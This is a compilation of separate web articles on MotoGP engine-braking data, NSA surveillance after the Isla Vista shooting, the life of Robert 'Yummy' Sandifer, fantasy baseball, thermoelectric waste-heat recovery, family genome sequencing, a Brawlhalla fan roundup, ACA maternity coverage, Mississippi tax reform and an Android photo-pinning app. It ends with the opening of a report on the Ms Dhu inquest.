The above graph – definitely the maddest bunch of squiggles of all the MotoGP rider aids – shows a rider (we don’t know who) entering the turn five right-hander at Jerez (Sito Pons corner). The vertical data mark, 30 seconds into the lap, is the moment when the rider hits the brakes and shifts down to third gear, putting the ECU into engine-braking mode, using the engine to help slow the bike.
As always, try not to be fazed by the rainbow of squiggly lines. Focus on the numbers and related captions to make sense of it all.
NUMBER 1, TOP SECTION
Red line is throttle opening. Blue line is gear position
The actions of the rider shutting the throttle and shifting down a gear puts the system into the engine-brake strategy.
NUMBER 2, SECOND SECTION
White line is rpm. Blue line is lean angle
The revs rise as the rider shifts from fourth to third, while lean angle reduces as the riders finishes the run out of the previous left-hander and lifts the bike upright for braking into turn five.
NUMBER 3, THIRD SECTION
Red and blue lines are rear load. Dotted red line is zero load
As the rider applies about ten bar (145psi) of front-brake pressure the bike pitches forward onto the front tyre, dramatically reducing load on the rear tyre. The amount of load on the rear tyre equates to the amount of grip available which determines how much engine-braking the EBC can apply to help slow the bike.
There are two lines showing load that have been filtered through the system in different ways. Most engineers take an average of the two, which in this case would be a minimum of around 30 kilos. Like everything, how much load is required on the rear wheel depends on the individual rider. For example, Marquez’s spectacular wheel-in-the-air braking technique obviously reduces load to zero at certain points during the braking phase.
NUMBER 4, THIRD SECTION
Yellow line is front-brake pressure. Green is rear-brake pressure
The rider applies a lot of front brake, while using the rear brake more gradually. The spikiness of the lines is purely down to vibration, so the electronics engineer needs to take a smoother average curve from each line. Note that the rider is still using the front brake as the bike approaches full lean.
NUMBER 5, BOTTOM SECTION
White line is engine-braking mode
This horizontal line shows where the system enters EBC mode and then exits EBC mode as the rider reopens the throttle.
NUMBER 6, BOTTOM SECTION
Red and green lines are each pair of throttle butterflies opening
The rider has fully shut the throttle and both pairs of throttle bodies have closed to provide negative torque to the amount calculated by rear-wheel load and other inputs. But although the rider has fully shut the throttle, neither pair of butterflies has fully closed, which keeps the rear wheel spinning to prevent it fully locking up. The butterflies close further as braking reduces and rear-wheel load increases until they are very nearly fully closed at the end of the EBC phase; all of this according to each rider’s preference. The throttle bodies on Marquez’s Honda probably close more than those on Lorenzo’s Yamaha, because Marquez likes to use the negative torque, possibly because that’s what he learned in Moto2 (which features no EBC), while Lorenzo likes to freewheel into turns, like he’s on a 250 two-stroke.
NUMBER 7, BOTTOM SECTION
Red and green lines are the throttle butterflies. Yellow, blue, orange, purple lines are combustion on each cylinder
Throughout the EBC phase, three of the four lines showing individual Lambda rates (the combustion efficiency of each cylinder via air-fuel ratio) unite on fully lean. In other words, those three cylinders are receiving no fuel, so they’ve stopped firing, so the engine is almost stopped to provide negative torque. One cylinder keeps firing to prevent the rear wheel from locking, but the combustion of that cylinder gets leaner (and therefore weaker) as rear-wheel load increases to further increase engine braking. Once the rider reopens the throttle, each of the three ‘dead’ cylinders wakes up in turn, because if they all woke up together they would deliver too much of a hit to the rear tyre.
Bradley Smith talks engine-braking control
“Before the unified software we could change all kinds of variables – we had control over each of the four butterflies, so we could limit how each individual butterfly shut by putting numbers into the programme for every downshift, from sixth to second. With the unified software we have two and two – one pair of butterflies and the other – and we have to go off a much simpler formula of numbers, so we don’t have the same finesse of controlling the bike with engine-braking. So it’s a bit like everything else really – the rider now has to play around with the bike a lot more.”
Graph by Dan Hilliard |
Where was the NSA before the Isla Vista Mass Shooting?
Elliot Rodger, a college student who posted videos that documented his rage against women, killed six people and wounded 13 others last week. He stabbed three men to death in his apartment and shot the others as he opened fire on bystanders on the crowded streets of Isla Vista, California. Rodger then killed himself. Three semi automatic handguns, along with 41 loaded ten-round magazines— all bought at local gun stores— were found in his car. There could have been many more dead.
So where was the NSA?
For the year since Edward Snowden revealed in detail the comprehensive spying on every aspect of American lives, we have been assured by the president and the NSA that every single one of those intrusions into our life was necessary to protect us. The now-former NSA chief said he knows of no better way his agency can help protect the U.S. than with spy programs that collect billions of phone and Internet records. “How do we connect the dots?” he said, referring to often-hidden links between people, events and what they do online. “There is no other way that we know of to connect the dots. Taking these programs off the table is absolutely not the thing to do.”
So where was the NSA?
Elliot Rodger posted on his social media, presumably monitored by the NSA, about suicide and killing people. His family asked police to visit Rodger’s residence. But when they showed up, Rodger simply told deputies it was a misunderstanding and that he was not going to hurt anyone or himself. No search was conducted.
Barely 24 hours before the killing spree, Rodger posted a video on YouTube, presumably monitored by the NSA, in which he sat behind the steering wheel of his black BMW and for seven minutes announced his plans for violence. The video has been leaked– see it here.
So where was the NSA in Boston?
In the case of the Boston Marathon Bomber Dzhokhar Tsarnaev, the NSA failed to notice the Boston bomber’s visits to al Qaeda’s online magazine or his “terrorist” YouTube videos. The online magazine gave Tsarnaev the details he needed to build his bombs. The NSA also failed to note the online communications Tsarnaev had with a known extremist in Dagestan, who reportedly listed Tsarnaev among his cyber friends.
Even after the bombing, the NSA, Justice Department, and Homeland Security failed to identify the suspects from close-up pictures, and had to ask the public for help, even though photos of both brothers were scattered across social media, presumably monitored by the NSA.
What was law enforcement doing in Boston in the time period leading up to the bombings? Monitoring Occupy and others, including tracking the Facebook pages and websites of protesters and writing reports on the potential impact on “commercial and financial sector assets” in downtown areas.
The monitoring of legitimate protest groups was not limited to Boston. The FBI monitored Occupy Wall Street from its earliest days and treated the nonviolent movement as a potential terrorist threat. Internal government records show Occupy was treated as a potential threat when organizing first began in August of 2011. Counterterrorism agents were used to track Occupy activities.
So where is the NSA?
All of the failures of the NSA cited above are exactly the kind of connect-the-dots fails that spying on all Americans were supposed to alleviate. At this point we’re left with one of two explanations.
The first explanation is that the NSA is simply incompetent. They may not be very good at their job, their technological ability to collect may not be matched with an ability to process the data, or they are simply so flooded with data as to be ineffective. Why should we expect a government that stumbles on everything from managing appointment lists at veteran’s hospitals to major foreign policy endeavors to do any better at intelligence work.
The second explanation is much darker. It remains possible the business about connecting dots and protecting America is a ruse, a sham, a cover story, and that mass surveillance has a much more sinister purpose. Pick one: control dissent, spy on groups like Occupy, blackmail, political advantage, industrial intel, and so forth. Snowden’s revelations, as significant as they are, really only shed light on what the NSA does. They do not address why the NSA spies on us. Therein lies the real story of the century, waiting for the next whistleblower to expose.
BONUS
Some commentators on the Isla Vista mass killing have decried the problem of “What could have been done? Sure he posted some crazy stuff, but he didn’t really commit a crime before he started shooting, right?”
Interesting argument, until you compare it to how the government deals with “real terrorists.” The magic words used are “conspiracy to commit terrorism,” a crime that basically involves talking about or planning to do something awful. The same law exists in regards to planning to commit a garden-variety murder. The logic is that if the police have clear evidence that you are about to blow up a skyscraper, it makes no sense that they have to wait until you trigger the dynamite to arrest you. Fair enough.
But let’s look at a few examples in practice.
In North Carolina recently, the FBI charged two men they say conspired and trained to exact “violent jihad.” The federal investigation began when one man contacted an undercover FBI source by email and told him he wanted to go overseas and fight, and he asked another how he should prepare to fight in Yemen or Syria. The other guy frequently “spoke about his weapons,” and said he was “considering” violent acts either in the United States or abroad. The men were arrested and charged with conspiracy.
Three members of a Georgia militia were charged with conspiracy to attack federal agencies. They “attempted” to obtain pipe bombs and thermite devices, and chatted online about plans to attack the federal government.
American citizen “Jihani Jane” was charged with conspiracy to commit terrorism based nearly completely on her online activities.
Copyright © 2019. All rights reserved. The views expressed here are solely those of the author(s) in their private capacity. |
Robert "Yummy" Sandifer (March 12, 1983 — September 1, 1994) was an American street gang member from Chicago, Illinois . Sandifer's murder by fellow gang members in Chicago garnered national attention, [1] [2] [3] [4] resulting in him appearing on the cover of TIME magazine in September 1994. [5] Nicknamed Yummy because of his love of cookies, standing 4 ft 6 in (137 cm) Sandifer was a young member of the street gang the Black Disciples (BD). After committing murder, arson and armed robbery, he was murdered by his own fellow gang members who feared he could become an informant , and that he was attracting too much attention towards their activities. Coverage of Sandifer's death and retrospectives on his short, violent life were widely published in the American media. Sandifer became a symbol of the gang problem in American inner cities, the failure of social safety nets, and the shortcomings of the juvenile justice system.
Early life Edit
Robert Sandifer was born on March 12, 1983. Sandifer's mother, Lorina Sandifer, had over 100 arrests while prostituting, many of which were drug related. Sandifer's father, Robert Akins, was absent for all of Sandifer's life due to incarceration for a felony gun charge. Sandifer was in danger, according to child welfare authorities, severely mistreated and neglected. Before he was 3, Sandifer was already known to Department of Children and Family Services (DCFS). Physical examinations showed that Sandifer was alleged to have had cigarette burns on his arms and neck as well as linear bruising consistent with physical beatings. Lorina initially blamed the abuse on Sandifer's father until officials learned he was not involved in Robert's life. In 1986, Sandifer and his siblings were removed from his mother's home by DCFS and were sent to live with their grandmother. His grandmother's residence contained as many as 19 children on some occasions. By most accounts, his grandmother's home was not much better than Sandifer's previous home. Sandifer, by the age of 8, quit attending school and began to roam the streets stealing cars and breaking into houses. In 1993, Sandifer and his siblings were removed from his grandmother's home and were sent to the Lawrence Hall DCFS shelter on Chicago's north side, from which Sandifer ran away and never returned. From 1993 until his death, Sandifer's whereabouts and living arrangements remain unclear, although he continued to be arrested by the authorities.[2]
Criminal behavior Edit
Sandifer was known for bullying and stealing money from children and the community in the Chicago neighborhood of Roseland. He liked luxury cars, and remarkably, was able to drive them despite his small size. Many of his 23 felonies and 5 misdemeanors were committed in the course of running errands for street gangs. The penal system had no way to keep him out of trouble and the courts were helpless to lock him away because he was too young for juvenile detention and too dangerous to be placed with children his age. He never got in serious trouble for his crimes due to his age.
Death Edit
On August 28, 1994, Sandifer was ordered to carry out a hit for his gang. He opened fire several times with a 9 millimeter semiautomatic pistol, striking several youths. Sandifer quickly fled the scene. Among the victims was Shavon Dean, age 14, who later died from her gunshot wounds. The crime spree made national headlines. The nation was shocked by the brutality of the crime and the fact that the alleged perpetrator was 11 years old. The Chicago Police began a manhunt for Sandifer. According to Sgt. Ronald Palmer, of the Chicago Police, Sandifer's actions were a gang initiation gone wrong. On August 31, while still in hiding, Sandifer was met by brothers Cragg and Derrick Hardaway, ages 16 and 14, members of the Black Disciples street gang. Sandifer was told he was being taken some place safe and ordered into a waiting car. Instead, he was taken to a viaduct underpass and told to get on his knees. While on his knees, he was shot twice in the back of the head by the Hardaway brothers. Sandifer's body was discovered by the Chicago Police Department in the early morning of September 1. Both Hardaways were later convicted of Sandifer's murder.[6] Sandifer's funeral was held at the Youth Center Church of God in Christ on Chicago's Northwest Side.[7] |
Robbie Ray was a league winner in 2017. According to NFBC ADP data Ray was the 55th drafted pitcher, behind the likes of Jerad Eickhoff, J.A. Happ, and Vince Velazquez. He ended up outperforming those players en route to being one of the top fantasy starters in the MLB. Ray finished the season with a 2.89 ERA in 162 innings. He struck out 218 batters while only allowing 71 walks. Ray’s K/9 of 12.11 was second highest, behind only Chris Sale. While his ERA was the 6th lowest in the majors. If you were one of the blessed souls to properly identify and acquire Ray during the 2017 season, you acquired a top 10 starting pitcher according to Yahoo and ESPN. But the real question is, can Robbie Ray repeat his break-out season in 2018?
The first thing that I want to make clear, Robbie Ray’s strikeout rate is very real. Since making his Diamondbacks debut in 2015 he has pitched 464 innings while maintaining a 10.8 K/9. Steamer projects Ray to hold an 11.17 K/9 in 2018 which is right around where I would peg him too. But if the lefty managed to produce another 12+ K/9 season, I would not be shocked in the slightest. His strikeouts will keep him relevant or interesting in fantasy circles regardless of his ERA.
From 2016 to 2017 Ray saw a drastic drop in his ERA from 4.9 to 2.89, but what first we have to look at some changes that he made in the 2016 off-season. First, Ray started to throw his curveball more, and his fastball less. His fastball saw a -11.8% usage rate (from 71.1% in 2016 to 59.3% in 2017) and his curveball saw a +16.6 usage rate ( From 5.3% in 2016 to 21.9% in 2017) .The usage rate changes ushered in Ray’s best season of his short career, and all three of his pitches were considered above average. His fastball, curveball, and slider were all considered top 20 pitches according to FanGraphs and his fastball’s wFB or Fastball runs above average, had a value of 12.1, the 8th highest fastball in the league for starting pitchers.
So in short, we saw Ray’s game-plan for the 2017 season was to use his changeup and fastball less while ramping up his curveball usage, and it was effective.
However, I would argue that while it was effective, Ray still overperformed his peripherals in 2017. The lefties profile underwent such dramatic change from 2016 to 2017 it is still hard to understand what is real and what is bound for regression. His LOB% rose from 68.6% in 2016 (14th worst in MLB) to 84.5% in 2017 (2nd best), his BABIP dropped from .352 to .267 even with his hard hit-percentage jumping up 3.8%.
Left On-base percentage (LOB%) is an interesting statistic because some people in the baseball community consider it a skill, while others tend to view it as bound for regression towards league average. The league average for LOB% is typically around 70% but can have a subtle variance with players who strikeout batters, because it makes it easier to work out of a jam. That seems right up Robbie Ray’s alley. I would not peg him to lead the league in LOB%, but I would not be shocked to see his being above league average.
If you were around fantasy baseball circles prior to the 2017 season, you would have most likely heard that Robbie Ray was someone who’s FIP and xFIP always looked great but his ERA was lagging behind. People theorized that it was because of things like lack of a third pitch, or he struggled a third time through the order. In 2016, Ray had an ERA of 4.9 with a FIP 3.76 and a xFIP of 3.45. Now, We are here today talking about a Robbie Ray that has finally added that third pitch that people theorized was his problem. His 2017 season showed an improvement on his ERA at 2.89 but his FIP of 3.72 and xFIP of 3.49 showed barely any change. So in a span of two seasons, Robbie Ray has gone from a pitcher that underperformed based on his FIP/xFIP to a pitcher who is now overperforming.
Ray has shown signs pointing to regression to his 2.89 ERA but I am not predicting anything dramatic, if he can keep his ERA within the 3.5 range you still have an elite fantasy pitcher. His K- upside is through the roof and he is a player I envision myself having lots of shares heading into the 2018 fantasy baseball season. |
The Year Waste-Heat
Got Hot
Matt Scullin Blocked Unblock Follow Following Jan 22, 2015
According to a U.S. Department of Energy report, 20 to 50 percent of industrial energy input is wasted as heat that could be converted into electricity. Is this a massive resource that both countries and industries can tap into to provide an additional pillar of renewable energy innovation? Or is that still a pipe dream?
Having focused on waste-heat recovery innovations for over ten years, on the sides of both industry and academia, I see 2014 as a watershed year for this important and still nascent field.
In December 2014, the World Economic Forum released its Global Energy Architecture Performance Index Report 2015 (EAPI), which benchmarks the current performance of national energy systems and explores how the most successful countries manage the “energy triangle” (energy security, energy affordability, and environmental sustainability) and achieve balance through energy diversity. While ongoing policy is critical to helping countries achieve energy diversity, so is a commitment to energy innovation.
Similar to national energy systems, energy-intensive industries — including oil and gas, mining, materials manufacturing (e.g., steel, glass, cement), and automotive — also strive to balance the “energy triangle” within their businesses, regularly exploring ways to reduce fuel consumption, operating costs, and carbon emissions. As energy-intensive industries search for energy innovations to diversify the mix, waste-heat recovery emerged as a real solution in 2014.
Of the solutions to the waste-heat question, thermoelectric materials provide a simple, compelling platform to transform wasted heat into electricity.
Dating back to 1821, thermoelectrics have a long history of providing simple, reliable power generation but lacked mass awareness and adoption due to their high cost. Within the past decade, nanotechnology advancements catalyzed a new era of rapid advances in thermoelectric materials. I saw this first-hand while working in research and development at the U.S. Department of Energy. It was also clear to me that costs were poised to come down significantly, and that thermoelectrics offered a unique value proposition to customers, as they were solid-state and therefore very simple. Now, with a return-on-investment of one to five years, depending on the application, commercially available, thermoelectric-based waste-heat recovery solutions are seeing early-stage adoption by the most energy-intensive industries.
For example, a thermoelectric generator can attach to the exhaust of a diesel- or natural gas-powered generator (genset) — tens of thousands of which are present as off-grid power plants for remote power generation in oil and gas and mining operations — and convert the exhaust waste-heat directly into electricity. One thermoelectric generator attached to a diesel-fueled genset can today generate up to 25 kWe per 1,000 kWe genset, saving 52,500 liters of diesel fuel per year, per genset — and this is likely to reach 100 kWe in the coming years. When scaled to address a multiple of hundreds or thousands of assets in a typical oil, gas or mining setting, thermoelectric-based waste-heat recovery translates into a significant reduction in fuel consumption, operating costs, and carbon emissions.
In the energy-intensive business of materials manufacturing, hundreds of thousands of furnaces consume quadrillions of BTUs of energy annually and emit billions of metric tons of carbon dioxide. By incorporating thermoelectric-based waste-heat recovery modules into industrial furnace design, there’s an opportunity to capture a significant portion of the waste-heat and improve energy efficiency from ten to 50 percent (U.S. Department of Energy report).
A recent report from Frost & Sullivan, “Innovations in Industrial Waste Heat Management,” also predicts that thermoelectric generators will be the “most sought after waste heat recovery technique in the future.”
As for the automotive industry, according to the Lawrence Livermore National Laboratory (LLNL), the transportation sector is the single biggest U.S. consumer of energy and wastes a full 75 percent of energy consumed. This is fast becoming an issue in the developing world as well. Approximately two-thirds of the energy used in cars and trucks is wasted as heat. Applying a miniature thermoelectric-based waste-heat recovery module to the tailpipe of a car or truck can capture the waste-heat, convert it into electricity, and improve the fuel efficiency of the vehicle. Fuel efficiency is just one piece of the puzzle solved by thermoelectric-based waste-heat recovery in the automotive industry; the technology also has tremendous potential to help power the connected car. According to a McKinsey Quarterly report, the connected cars of the future will “become less like metal boxes and more like integrators of multiple technologies, productive data centers.” The report also states that “today’s average high-end car has roughly seven times more code than a Boeing 787.8.” Powering the demands of the connected car will continue to draw on early-stage innovation, and thermoelectric-based waste-heat recovery modules are viable solutions.
Whether from generators on an oil rig or in a remote mining plant, to furnaces in a steel factory, to the tailpipe of an automobile, waste-heat is abundant. While there is no panacea for maintaining balance in the “energy triangle,” in 2014, thermoelectric-based waste-heat recovery proved to be a valuable component of any energy diversity strategy.
Dr. Matthew L. Scullin is the founder and CEO at Alphabet Energy, the global leader in thermoelectrics for waste-heat recovery and 2014 World Economic Forum Technology Pioneer.
The World Economic Forum’s Annual Meeting 2015 will take place from 21–24 January in Davos-Klosters, Switzerland, under the theme “The New Global Context.” You can find out more about the meeting here. |
Late last year, we described a genome sequencing technique that brought the price of consumables down to under $5,000. That technique, offered by Complete Genomics, has now been put to use: all the genomes have been obtained from a family of four in which both children suffer from two genetic disorders. In addition to identifying likely causative mutations, the full family pedigree has produced new measures of human mutation and recombination.
So far, as each genome has been completed, it's typically been compared to a reference genome that's meant to represent a "typical" human. But the human population is large and diverse, and the differences between a typical person and the reference may have been present in our population for thousands of years. In contrast, by knowing the sequence of a child and both its parents, the changes in DNA that occur as a result of recombinations and mutations in each parent's germ cells can be tracked in exquisite detail.
Of course, you first have to get rid of the errors. Any method of sequencing DNA has a known error rate, and there are certain sequences in the genome that are more prone to these mistakes than others.
All together, sequencing the genome identified over 4 million bases in which at least one of the genomes differed from the reference sequence. But nearly a million of these were identical in all four individuals; another 3.4 million had been identified as sites of common variations within the human genome. When all of these were eliminated, there were only 323,255 base changes that appeared to be distinct to this family. The authors of the paper then focused on getting rid of some of the errors.
Some of these errors are caused by repetitive sequences, which sometimes cause genome assembly algorithms to delete portions of the repeat. That dropped the number down to about 50,000 differences that were either new mutations or sequencing errors. They resequenced every one of these regions and found only 28 that appeared to be new mutations in the offspring; each of these was directly confirmed by mass spectroscopy of the relevant stretch of DNA. The authors estimate that, all told, they've eliminated approximately 70 percent of the sequencing errors, producing an accuracy of 99.999 percent.
After estimating the false negative rate, the authors concluded that humans have a mutation rate of 1.1x10-8 at each base, which means that every individual is likely to have been born with approximately 70 new mutations. That's a bit less than half of previous estimates, but it's within the range defined by our differences with the chimp genome and an estimated time of divergence of 5 million years.
The precise map of differences also enabled the authors to track where pieces of the original parental genomes had been swapped by recombination. The precise bases can't be identified, given that most of the genome is identical in all four individuals, but they were able to identify 155 crossover sites within a median precision of 2,600 bases. Most of these occurred within known "hotspots" of recombination that had been identified previously.
As if all of this data wasn't enough, the family itself had been chosen because both children (and neither parent) suffers from two genetic diseases: Miller syndrome and primary ciliary dyskinesia. The former has not had a gene definitively associated with it; the latter has had a number.
The simplest explanation of this would be a single recessive mutation, with the parents heterozygous, and the offspring homozygous. Since the diseases are rare, the authors excluded any base differences that have been previously identified as common within the human population. Only a single gene fit this pattern when identical mutations were considered. But it's possible for different mutations in the same gene to cause a single phenotype, with each parent carrying a distinct base change. Three additional genes matched this pattern.
So the authors sequenced these genes in two other individuals with Miller's syndrome, and identified DHODH, a gene previously suggested to be associated with the disease as its likely cause. One surprise is that the primary ciliary dyskinesia is likely to be caused by a completely separate mutation. DNAH5, another of the four genes to come through this analysis, had previously been identified as a cause of that disorder. So, the family appears to be unlucky enough to be dealing with two rare, recessive mutations.
That we've reached the point where this work is even possible is simply amazing. I've really got no words for the fact that it was done by a mere 15-author collaboration, only two of whom hail from Complete Genomics. As the authors point out, we're at the point where it may be cheaper and easier to sequence entire pedigrees than hunt down enough affected individuals to identify a Mendelian trait by traditional methods.
The fact that the approach generates additional useful data—things like human mutation rates and recombination locations have always been based on much rougher estimates—is really quite a significant bonus. I anticipate that this won't be the first paper of its sort, and these estimates will continue to be refined as more family pedigrees are available at the genome level.
Science, 2010. DOI: 10.1126/science.1186802 (About DOIs). |
Community Roundup #28
Welcome to the 28th Community Roundup! It’s been a crazy few weeks and the community has been making amazing art and videos as always!
Community Art
Jhala
Set off from home after a village-wrecking battle with monsters. And headed straight to the next one#brawlhalla pic.twitter.com/7fwHaTrLti — Federica (@fede_941) December 7, 2016
@Brawlhalla My Main, My Soul
One day I will buy the Collectors Pack and obtain this skin
One day… pic.twitter.com/DolY5HxHJp — Pancake (@TezcaPancakes) November 29, 2016
Not all those who wander are lost @Brawlhalla pic.twitter.com/whNqfCHMMI — Hanhan2001 (@HGoodliff) December 4, 2016
ragnir is so heckin ready for the holidays @Brawlhalla pic.twitter.com/wIxJIC79gC — vivieneggnog (@vivieneggx) December 4, 2016
It’s not that good but i wanted to get it done for school, sorry not sorry. @OmgItsBarry_ #Brawlhalla pic.twitter.com/ltPvPeAKLQ — trindeer (@trindiiex) November 27, 2016
I was doodling in class today and Lynx Asuri came out of it lmao @brawlhalla pic.twitter.com/5PEzbhgSbG — Amelia (Sylvestral) (@Sylvestrxl) December 9, 2016
Videos & GIFs
Sojiroshi puts together an awesome 8-Bit version of the Blackguard Keep theme.
Possibly the most important video guide every created that you haven’t seen.
Berthen also made a great guide to basic Blasters combos that everyone should check out.
When you pull off that combo you’ve been practicing as a team for ages in a real match.
The lance aggression is real!
Remember, they’re not dead until the KO Effect plays.
Cross showing off the best way to use Blasters Down.
In a battle between Ulgrims one gets the upper hand.
Thanks everyone for checking out the twenty eighth Community Roundup! If you’ve seen some great Brawlhalla things out there let us know! Send us a Tweet or let the community know on reddit.
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3QVGD-MBPYX-7IRH2 |
White House press secretary Sean Spicer on Thursday defended the idea of taking away guaranteed maternity coverage in health insurance, denying that it would mean women must pay relatively more for their health care.
He’s wrong about that. Ending the guarantee could mean slightly lower premiums for individual men and much older women, but it would just as surely drive up premiums for women of child-bearing age and their families ― unless it left them paying the full cost of prenatal care and delivery, typically many thousands of dollars, out of their own pockets.
It’s yet another case of Republicans trying to disguise the very real trade-offs of their effort to repeal the Affordable Care Act.
The issue of maternity benefits began to get a lot of attention on Wednesday night, as word spread of a deal that the White House and GOP leaders were making with conservative House Republicans, in a desperate effort to rally the votes they need to win approval there for the American Health Care Act.
Conservatives have been holding back support, because, they say, the repeal bill leaves too much of “Obamacare” intact. And a big focus of their anger has been the law’s regulations on what insurance covers ― which, by and large, the original version of repeal legislation left intact.
In the course of negotiations, the White House and GOP leaders agreed to revise the bill, so that it repeals a set of rules requiring that all insurance plans cover a set of 10 “essential health benefits.” One of those benefits is coverage for maternity care.
The Affordable Care Act mandates maternity coverage because, in the old days, insurance frequently didn’t offer it ― or did so only if beneficiaries were willing to pay a hefty surcharge. Today, all policies include maternity, along with coverage of mental health care, habilitative care, and prescriptions ― three benefits that, previously, insurers frequently did not.
These mandates came with a cost. Including these benefits has forced insurance companies to pick up medical expenses they were able to avoid previously, and as a result they have raised premiums to cover their new costs ― a point that Spicer, during his daily White House briefing, made correctly.
But a reporter asked Spicer the natural follow-up: If eliminating maternity coverage will reduce premiums overall, won’t it also mean higher costs for people who actually need the care?
And wouldn’t it be the same for other essential benefits ― slightly lower premiums for all, but much higher out-of-pocket costs for the people who might need some of those other essential services?
The correct answer would have been “yes.” Here is how the exchange went instead:
Q: Is the president concerned that without having those essential benefits in there, you’ll have a situation where women are just de facto paying higher for health insurance. Obviously they’d be paying for maternity leave ― SPICER: No, you could have a family plan. Again, you’re picking one benefit and trying to extrapolate it. It’s also saying should young people pay for end-of-life care? The idea is to instill choice back into the market. It’s not just about one particular benefit. It’s allowing people to tailor a plan and cost point that’s good for them and their family or them and their spouse.
It’s not entirely clear what Spicer means by a “family” plan. A plan for the whole family, rather than an individual? One that includes maternity coverage as a special addition?
Either way, absent a guarantee of maternity coverage, most insurers will not offer it or charge extra for it ― which, in either case, means the people who want it would have to pay more.
The second part of the answer gets closer to the heart of the issue, which is really the fundamental debate taking place right now. To what extent should the cost of health care fall on those individuals and families who need it, because they have health problems, and to what extent should government require insurers to spread that financial burden as broadly as possible?
But the trade-offs here are different than Republicans typically let on. The price for allowing everybody to save a few dollars a month on premiums is forcing thousands, tens of thousands, or even hundreds of thousands of dollars in medical bills onto those with illnesses that insurance doesn’t cover.
As for the idea that removing regulations will allow people to “tailor” benefits to their liking, that overlooks the fact that people frequently have no idea what medical problems they will have in the future ― and that, in an unregulated insurance market, even insurers that want to cover services like mental health or maternity would find it too costly, because doing so would attract disproportionate numbers of people who need the coverage.
In other words, people who wanted or needed those benefits would be unable to find them.
And if the American Health Care Act were to become law, coverage could end up even worse than it was before Obamacare, because Republicans have said they would keep in place the law’s popular guarantee of coverage for people with pre-existing conditions.
Unable to avoid such customers, insurers would have even more incentive to avoid providing expensive benefits ― to the point that they might start cutting out services pretty much everybody takes for granted.
The only safeguard against this would be new state regulations. But in the past, many states had thin regulations ― and if somehow Republicans were able to both allow and encourage cross-state insurance purchases, even states trying to regulate their markets might be unable to do so.
David Anderson, who until recently was an analyst at the UPMC Health Plan in Pennsylvania and is now an analyst at Duke University’s Margolis Center for Health Policy, thinks the end result in unregulated states could be deeply bifurcated markets ― with comprehensive, traditional coverage available only at extremely high prices that few could afford, and cheap policies with bare-bones benefits that barely qualify as insurance.
Such policies, he explained at the blog Balloon Juice on Thursday, would have tiny, narrow networks of doctors and hospitals, $20,000 deductibles, and maybe no coverage for things like asthma inhalers, Epi-Pens and insulin. |
Mississippi state capitol (Photo: Rogelio V. Solis, AP) Story Highlights The panel is accepting public comments at [email protected].
The second meeting of a joint legislative committee looking to reform Mississippi tax laws was strikingly similar to the first one a month ago: It consisted mainly of a long presentation from the conservative Tax Foundation.
And the state’s Republican legislative leaders appear to have plotted the general course for tax reform even before the committee got rolling: shifting the state’s tax burden even more from corporate and individual income to “user-based” taxes such as sales taxes. It remains unclear whether that would include increasing tax revenue overall for road work, education or other needs for which numerous groups are lobbying.
“Nicole … can you get us some models (of tax reform) together that we can look at?” House Speaker Philip Gunn asked the Tax Foundation’s Nicole Kaeding, after lawmakers on the committee gave her a round of applause following her nearly two-hour presentation, as they did in September.
Kaeding has twice told the special tax reform committee that her D.C.-based think tank believes corporate taxes are most stifling to growth, while taxing consumption provides incentives to save, with property taxes being least harmful to growth.
Kaeding’s recommendations to-date have included removing sales tax exemptions from purchases such as gasoline, prescriptions, legal fees, financial services, accounting, medical services, fitness, barbers, veterinarians and newspapers. Alternatively, she said, the state should consider halting sales taxation of “input” such as farm and office equipment, manufacturing machinery and business fuel, utilities and leases.
“Because you are taxing the machines that make the widgets, the widgets cost more,” Kaeding said. “Inputs should not be taxed. Tax the final output.”
Gunn and Lt. Gov. Tate Reeves have said Kaeding and the Tax Foundation appear to have validated tax decisions made by the GOP legislative leadership over the last five years — including more than 40 corporate tax cuts. The state going on two years has been in a financial crunch, with the governor and lawmakers having to slash state budgets because of revenue shortfall. But Republican leaders say the economy, not their tax cuts, are to blame.
RELATED: MS tax cuts: What do we really know about them?
But Sen. Willie Simmons, D-Cleveland, among the Democratic minority on the special tax committee, on Monday told Kaeding: “I also want to hear from someone who thinks a little different from you … I’d like for this committee to take a close look at the true needs in this state as far as revenue.”
Laura Hipp, spokeswoman for Reeves, on Monday said the panel is accepting public comments at [email protected], and “would like to hear from others.”
“However, I wouldn’t expect them to grant a public forum to a liberal Washington, D.C., think tank that wants to raise income taxes across the board because that’s not what Mississippi families want and need.”
Gunn said, "We are open to input from all sides of the table. It's important to remember, however, that Mississippi is one of the most conservative states in the nation. We have been elected by a majority of conservative voters."
Sara Miller, with the more liberal leaning Hope Policy Institute, recently said: “When you think about what’s holding Mississippi back as a state, it’s not that we are a high-tax state. We heard from the Tax Foundation … that Mississippi is in the top 10 among states for its low percentage of income paid in state and local taxes. However, we also know that Mississippi consistently ranks at the bottom in many quality-of-life indicators … Cutting taxes and/or shifting the burden to working families will jeopardize the state’s ability to make progress in producing a healthy, well-trained and skilled workforce.”
While the Tax Foundation and other groups have given Mississippi high marks for its relatively low corporate and individual income taxes, others have argued that Mississippi’s taxes are “regressive” and place more of a burden on the poor and those of modest income than the wealthy and corporations.
Gunn on Monday reiterated a statement he made at last month’s hearing, that “corporations don’t have wealth” — they just pass on any tax increase to consumers.
And Reeves reiterated his goal for the special tax committee and state tax policy: “My goal is to make Mississippi the most attractive place in America to invest capital and create jobs … We can both cut taxes and grow revenue … We want more taxpayers, not more taxes on those already shouldering their fair share.”
Contact Geoff Pender at 601-961-7266 or [email protected]. Follow @GeoffPender on Twitter.
Read or Share this story: http://on.thec-l.com/2dVKchk |
Google introduced the screen pinning feature with Android 5.0 which lets you pin a screen into a single view on your phone so that you can easily share your device with anyone without worrying about them messing up with other stuff on your phone. However, screen pinning works on App level. Say you want to show a particular picture to someone but don’t want them to see other pictures on your Gallery, but you can only pin the Gallery app not a particular picture in it. And that’s where the Photo Pinner app comes in, it let’s you pin single photos.
Photo Pinner does no wonders though, the app is just a photo viewer that opens up only a single photo so you can pin it. It works by sharing a picture from Gallery to Photo Pinner app and then press the pin button. That simple.
icon-download Download Photo Pinner
Check out the steps below to see how it really works.
How to Pin Photos
Download and install the Photo Pinner app on your device. Open the photo you want to pin in your Gallery. From Gallery, share the photo you want to pin to the Photo Pinner app The photo will now open in the Photo Pinner app, touch the Pin button in bottom left corner of the screen Select START from the confirmation dialogue, and that’s it. Your photo is now pinned.
How to Unpin Photos
To unpin photos just press and hold the BACK and RCENTS key for a couple of seconds. |
Police thought dying Aboriginal woman Ms Dhu was faking it, coronial inquest told
Updated
Western Australian police told hospital staff they thought an Aboriginal woman who later died in custody was "faking it", a coronial inquest has heard.
